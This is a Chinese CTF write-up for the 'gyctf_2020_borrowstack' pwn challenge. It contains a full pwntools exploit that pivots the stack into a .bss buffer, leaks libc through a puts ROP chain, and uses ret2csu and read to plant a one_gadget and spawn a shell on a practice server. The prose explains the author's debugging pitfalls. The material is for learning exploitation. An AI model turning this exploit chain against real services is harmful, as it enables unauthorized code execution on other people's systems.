关于“gyctf_2020_borrowstack”,涉及栈迁移(pivoting),通用gadge,one_gadget

我只能说这里将栈迁移地址bank抬高0x50个字节是我没想到的,p.sendline使用导致报错也是没想到的,但是这题真是不错hhh,这里我将遇到的卡了老久的问题解释下:
首先给出wp

from pwn import *
context.log_level = 'debug'

libc_name = './libc-2.23.so64'
libc = ELF(libc_name)
one_gadget = 0x4526a
p = remote("node4.buuoj.cn", 25240)

elf = ELF("./gy")
bank_addr = 0x601080
leave_ret = 0x400699
pop_rdi_ret = 0x400703
csu_init_pop = 0x4006FA
csu_init_call = 0x4006E0

offset = 0x50
new_stack_sp = bank_addr + offset
payload1 = b'a'*0x60 + p64(new_stack_sp - 0x10) + p64(leave_ret)
p.recvuntil("Tell me what you want\n")
p.send(payload1)

p.recvuntil("Done!You can check and use your borrow stack now!\n")
payload2 = b'a'*(new_stack_sp-0x10 - bank_addr) + p64(0) + p64(pop_rdi_ret) + p64(elf.got['puts']) \
+ p64(elf.plt['puts'])+ p64(csu_init_pop) + p64(0) + p64(0) + p64(elf.got['read']) +p64(0x100) \
+ p64(new_stack_sp + 0x8*9) + p64(0) +  p64(csu_init_call)
#gdb.attach(p)
p.sendline(payload2)
#libc_base = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00')) - libc.sym['puts']#,,,两种接收方式都可以的哦
#libc_base = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00')) - libc.sym['puts']
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
# #_init_array_entry - 600E10h)[r12+rbx*8]这一条语句执行后无论后者执行的是什么函数,都会返回下一条地址对应函数,而那条地址将被call之前压入被push压入栈中,注意push定义是数据先放到低地址,再移动sp就是那个位置
# print(hex(libc_base + libc.sym['puts']))
p.sendline(p64(libc_base+one_gadget)+p64(0)*10)#这里p64(0)*10为的是满足onegadget的条件[rsp+0x30=NULL]
p.interactive()
#0x7fffffffe050

接下来我来讲讲遇到的细节坑惨我了555
1:`
payload1 = b’a’*0x60 + p64(new_stack_sp - 0x10) + p64(leave_ret)

p.recvuntil(“Tell me what you want\n”)
p.send(payload1)`
这三句尤其注意如果用p.sendline代替p.send即将出错而且报的错还很离谱:
在这里插入图片描述

2:关于paylaod2的解释:

首先抬高转移后的栈的地址,否则执行rop链时会出错,可能覆盖bank低地址处的got地址,然后是常规的通用gadget使用,先五个p给寄存器赋值,而后修改寄存器的值使其达到使用read函数将即将使用的one_gadget读入read返回地址从而执行“execve("/bin/sh", rsp+0x30, environ)
”的目的,至于为什么read函数的返回地址是在paylaod2最后一个p64(csu_init_call)处,笔者亲身实践检验,在这里插入图片描述
如图,当指令执行到这里时:在这里插入图片描述
在进入0x4006e0即paylaod2最后一个p64(csu_init_call)时候栈的sp到了csu_init_call上面,如图(蓝色箭头指向的位置),在执行call的时候:根据call使用规则,会将其返回地址push压栈,就是rop链上csu_init_call所在地址,而 p64(new_stack_sp + 0x8*9)这个给read的设置参数正好是该地址,所以等read函数调用完了,直接执行发送的one_gadget。

最后结果:

在这里插入图片描述

更多关于题目解题步骤请看这位师傅的

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值